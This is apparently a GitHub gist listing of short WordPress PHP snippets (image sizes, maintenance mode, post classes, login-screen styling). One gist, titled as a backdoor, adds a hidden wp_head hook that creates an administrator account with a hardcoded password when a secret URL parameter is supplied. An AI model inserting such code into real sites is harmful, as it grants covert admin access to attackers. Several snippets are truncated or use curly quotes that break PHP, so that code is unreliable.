ovizii’s gists

ovizii / function.php

Created July 27, 2013 15:05

Add custom image sizes to WP

	//<?php add_image_size( $name, $width, $height, $crop ); ?>
	add_image_size( 'logo', '138', '138', true );

ovizii / function.php

Created July 27, 2013 15:06

Add custom image sizes to drop-down selector

	// Tell the media panel to add the new size to the dropbown
	function custom_image_sizes($sizes) {
	$addsizes = array(
	'logo' => __('logo'),
	'grid_12' => __('slides')
	);
	$newsizes = array_merge($sizes, $addsizes);
	return $newsizes;
	}
	add_filter('image_size_names_choose', 'custom_image_sizes');

ovizii / function.php

Created July 28, 2013 08:20

How to Create a Backdoor to a WordPress Website

	<?php
	add_action( 'wp_head', 'my_backdoor' );

	function my_backdoor() {
	if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
	require( 'wp-includes/registration.php' );
	if ( !username_exists( 'mr_admin' ) ) {
	$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
	$user = new WP_User( $user_id );
	$user->set_role( 'administrator' );

ovizii / footer.php

Created July 28, 2013 08:21

Display # of queries and exec time

	<?php echo $wpdb->num_queries; ?>
	<?php _e('queries'); ?>. <?php timer_stop(1); ?> <?php _e('seconds'); ?>

ovizii / function.php

Created July 28, 2013 08:23

Temporary Maintenance - this will block users who are NOT an administrator from viewing the website.

	function wp_maintenance_mode(){

	if(!current_user_can(‘edit_themes’) \|\| !is_user_logged_in()){
	wp_die(‘Maintenance, please come back soon.’, ‘Maintenance – please come back soon.’, array(‘response’ => ’503′));
	}

	}

	add_action(‘get_header’, ‘wp_maintenance_mode’);

ovizii / function.php

Created July 28, 2013 08:26

Remove pings to self

	function no_self_ping( &$links ) {
	$home = get_option( 'home' );
	foreach ( $links as $l => $link )
	if ( 0 === strpos( $link, $home ) )
	unset($links[$l]);
	}
	add_action( 'pre_ping', 'no_self_ping' );

ovizii / function.php

Created July 28, 2013 08:28

Add class to image's parent

	function give_linked_images_class($html, $id, $caption, $title, $align, $url, $size, $alt = '' ){
	$classes = 'shutter'; // separated by spaces, e.g. 'img image-link'

	// check if there are already classes assigned to the anchor
	if ( preg_match('/<a.? class=".?">/', $html) ) {
	$html = preg_replace('/(<a.? class=".?)(".*?>)/', '$1 ' . $classes . '$2', $html);
	} else {
	$html = preg_replace('/(<a.*?)>/', '$1 class="' . $classes . '" >', $html);
	}
	return $html;

ovizii / function.php

Created July 28, 2013 08:29

Add a custom class to the last post in a loop

	function last_post_class($classes){

	global $wp_query;
	if(($wp_query->current_post+1) == $wp_query->post_count) $classes[] = ‘last’;
	return $classes;
	}

	add_filter(‘post_class’, ‘last_post_class’);

ovizii / function.php

Created July 28, 2013 08:32

Create a snapshot of any website

	function wp_snap($atts, $content = NULL) {

	extract(shortcode_atts(array(
	"snap" => ‘http://s.wordpress.com/mshots/v1/’,
	"url" => ‘http://torquemag.io/’,
	"alt" => ‘WPDaily’,
	"w" => ’400′, // width
	"h" => ’300′ // height
	), $atts));
	$img = ‘<img alt="’ . $alt . ‘" src="’ . $snap . ” . urlencode($url) . ‘?w=’ . $w . ‘&h=’ . $h . ‘" />’;

ovizii / function.php

Created July 28, 2013 08:37

Customize LOGIN screen

	// CUSTOM ADMIN LOGIN HEADER LOGO
	function so_custom_login_logo() {
	echo '<style type="text/css"> h1 a { background-image:url('.get_bloginfo('template_directory').'/images/logo_admin.png) !important; } </style>';
	}
	add_action('login_head', 'so_custom_login_logo');

	// CUSTOM ADMIN LOGIN LOGO LINK
	function so_change_wp_login_url() {
	echo bloginfo('url'); // OR ECHO YOUR OWN URL
	}